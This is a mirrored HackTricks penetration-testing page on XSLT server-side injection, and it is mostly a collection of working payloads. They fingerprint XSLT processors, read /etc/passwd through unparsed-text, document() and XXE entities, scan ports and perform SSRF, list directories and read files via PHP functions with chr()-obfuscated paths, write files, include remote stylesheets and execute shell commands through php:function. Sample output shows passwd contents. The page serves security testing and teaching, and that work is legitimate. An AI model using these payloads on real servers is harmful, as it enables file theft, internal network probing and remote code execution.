mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
410 lines
13 KiB
Markdown
410 lines
13 KiB
Markdown
# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
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It is used to transform XML documents in another kind. Versions: 1, 2 and 3 (1 is the most used).\
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The transformation can be done in the server or in the browser).
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The most used frameworks are: **Libxslt** (Gnome), **Xalan** (Apache) and **Saxon** (Saxonica).
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In order to exploit this kind of vulnerability you need to be able to store xsl tags in the server side and then access that content. An example of this kind of vulnerability can be found on [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
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## Example - Tutorial
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```markup
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sudo apt-get install default-jdk
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sudo apt-get install libsaxonb-java
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```
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{% code title="xml.xml" %}
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```markup
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<?xml version="1.0" encoding="UTF-8"?>
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<catalog>
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<cd>
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<title>CD Title</title>
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<artist>The artist</artist>
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<company>Da Company</company>
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<price>10000</price>
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<year>1760</year>
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</cd>
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</catalog>
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```
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{% endcode %}
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{% code title="xsl.xsl" %}
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```markup
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<?xml version="1.0" encoding="UTF-8"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:template match="/">
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<html>
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<body>
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<h2>The Super title</h2>
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<table border="1">
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<tr bgcolor="#9acd32">
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<th>Title</th>
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<th>artist</th>
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</tr>
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<tr>
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<td><xsl:value-of select="catalog/cd/title"/></td>
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<td><xsl:value-of select="catalog/cd/artist"/></td>
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</tr>
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</table>
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</body>
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</html>
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</xsl:template>
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</xsl:stylesheet>
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```
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{% endcode %}
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Execute:
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```markup
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$ saxonb-xslt -xsl:xsl.xsl xml.xml
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Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
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Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
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<html>
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<body>
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<h2>The Super title</h2>
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<table border="1">
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<tr bgcolor="#9acd32">
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<th>Title</th>
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<th>artist</th>
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</tr>
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<tr>
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<td>CD Title</td>
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<td>The artist</td>
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</tr>
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</table>
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</body>
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</html>
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```
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### Fingerprint
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{% code title="detection.xsl" %}
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```markup
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<?xml version="1.0" encoding="UTF-8"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:output method="html"/>
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<xsl:template match="/">
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<h2>XSLT identification</h2>
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<b>Version:</b> <xsl:value-of select="system-property('xsl:version')"/><br/>
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<b>Vendor:</b> <xsl:value-of select="system-property('xsl:vendor')" /><br/>
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<b>Vendor URL:</b><xsl:value-of select="system-property('xsl:vendor-url')" /><br/>
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</xsl:template>
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</xsl:stylesheet>
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```
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{% endcode %}
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And execute
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```markup
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$saxonb-xslt -xsl:detection.xsl xml.xml
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Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
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Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
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<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
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```
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### Read Local File
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{% code title="read.xsl" %}
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```markup
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<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
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<xsl:template match="/">
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<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
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</xsl:template>
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</xsl:stylesheet>
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```
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{% endcode %}
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```markup
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$ saxonb-xslt -xsl:read.xsl xml.xml
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Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
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Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
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<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
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daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
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bin:x:2:2:bin:/bin:/usr/sbin/nologin
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sys:x:3:3:sys:/dev:/usr/sbin/nologin
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sync:x:4:65534:sync:/bin:/bin/sync
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games:x:5:60:games:/usr/games:/usr/sbin/nologin
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man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
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lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
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```
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### SSRF
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```markup
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<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
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<xsl:include href="http://127.0.0.1:8000/xslt"/>
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<xsl:template match="/">
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</xsl:template>
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</xsl:stylesheet>
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```
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### Versions
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There might be more or less functions depending on the XSLT version used:
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* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
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* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
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* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
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## Fingerprint
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Upload this and take information
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```markup
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:template match="/">
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Version: <xsl:value-of select="system-property('xsl:version')" /><br />
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Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
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Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
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<xsl:if test="system-property('xsl:product-name')">
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Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
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</xsl:if>
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<xsl:if test="system-property('xsl:product-version')">
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Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
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</xsl:if>
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<xsl:if test="system-property('xsl:is-schema-aware')">
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Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
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</xsl:if>
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<xsl:if test="system-property('xsl:supports-serialization')">
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Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
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/><br />
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</xsl:if>
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<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
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Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
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/><br />
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</xsl:if>
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</xsl:template>
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</xsl:stylesheet>
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```
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## SSRF
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```markup
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<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
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</esi:include>
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```
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## Javascript Injection
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```markup
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<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:template match="/">
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<script>confirm("We're good");</script>
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</xsl:template>
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</xsl:stylesheet>
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```
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## Directory listing (PHP)
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### **Opendir + readdir**
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```markup
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<?xml version="1.0" encoding="utf-8"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
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<xsl:template match="/">
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<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
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<xsl:value-of select="php:function('readdir')"/> -
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<xsl:value-of select="php:function('readdir')"/> -
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<xsl:value-of select="php:function('readdir')"/> -
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<xsl:value-of select="php:function('readdir')"/> -
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<xsl:value-of select="php:function('readdir')"/> -
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<xsl:value-of select="php:function('readdir')"/> -
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<xsl:value-of select="php:function('readdir')"/> -
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<xsl:value-of select="php:function('readdir')"/> -
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<xsl:value-of select="php:function('readdir')"/> -
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</xsl:template></xsl:stylesheet>
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```
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### **Assert (var_dump + scandir + false)**
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```markup
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<?xml version="1.0" encoding="UTF-8"?>
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<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
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<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
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<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
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<br />
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</body>
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</html>
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```
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## Read files
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### **Internal - PHP**
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```markup
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<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
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<xsl:template match="/">
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<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
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</xsl:template>
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</xsl:stylesheet>
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```
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### **Internal - XXE**
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```markup
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<?xml version="1.0" encoding="utf-8"?>
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<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:template match="/">
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&ext_file;
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</xsl:template>
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</xsl:stylesheet>
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```
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### **Through HTTP**
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```markup
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<?xml version="1.0" encoding="utf-8"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:template match="/">
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<xsl:value-of select="document('/etc/passwd')"/>
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</xsl:template>
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</xsl:stylesheet>
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```
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```markup
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<!DOCTYPE xsl:stylesheet [
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<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
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<xsl:template match="/">
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&passwd;
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</xsl:template>
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```
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### **Internal (PHP-function)**
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```markup
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<?xml version="1.0" encoding="utf-8"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
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<xsl:template match="/">
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<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
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</xsl:template>
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</xsl:stylesheet>
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```
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```markup
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<?xml version="1.0" encoding="UTF-8"?>
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<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
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<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
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<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
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<br />
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</body>
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</html>
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```
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### Port scan
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```markup
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<?xml version="1.0" encoding="utf-8"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
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<xsl:template match="/">
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<xsl:value-of select="document('http://example.com:22')"/>
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</xsl:template>
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</xsl:stylesheet>
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```
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## Write to a file
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### XSLT 2.0
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```markup
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<?xml version="1.0" encoding="utf-8"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
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<xsl:template match="/">
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<xsl:result-document href="local_file.txt">
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<xsl:text>Write Local File</xsl:text>
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</xsl:result-document>
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</xsl:template>
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</xsl:stylesheet>
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```
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### **Xalan-J extension**
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```markup
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<xsl:template match="/">
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<redirect:open file="local_file.txt"/>
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<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
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<redirect:close file="loxal_file.txt"/>
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</xsl:template>
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```
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Other ways to write files in the PDF
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## Include external XSL
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```markup
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<xsl:include href="http://extenal.web/external.xsl"/>
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```
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```markup
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<?xml version="1.0" ?>
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<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
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```
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## Execute code
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### **php:function**
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```markup
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<?xml version="1.0" encoding="utf-8"?>
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<xsl:stylesheet version="1.0"
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xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
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xmlns:php="http://php.net/xsl" >
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<xsl:template match="/">
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<xsl:value-of select="php:function('shell_exec','sleep 10')" />
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</xsl:template>
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</xsl:stylesheet>
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```
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```markup
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<?xml version="1.0" encoding="UTF-8"?>
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<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
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<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
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<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
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<br />
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</body>
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</html>
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```
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Execute code using other frameworks in the PDF
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### **More Languages**
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**In this page you can find examples of RCE in other languajes: **[**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET)** (C#, Java, PHP)**
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## **Access PHP static functions from classes**
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The following function will call the static method `stringToUrl` of the class XSL:
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```markup
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<!--- More complex test to call php class function-->
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<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
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version="1.0">
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<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
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<xsl:template match="root">
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<html>
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<!-- We use the php suffix to call the static class function stringToUrl() -->
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<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
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<!-- Output: 'une_superstring ao modifier' -->
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</html>
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</xsl:template>
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</xsl:stylesheet>
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```
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(Example from [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls))
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## **Brute-Force Detection List**
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{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
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## **References**
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* [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)\
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* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\
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* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
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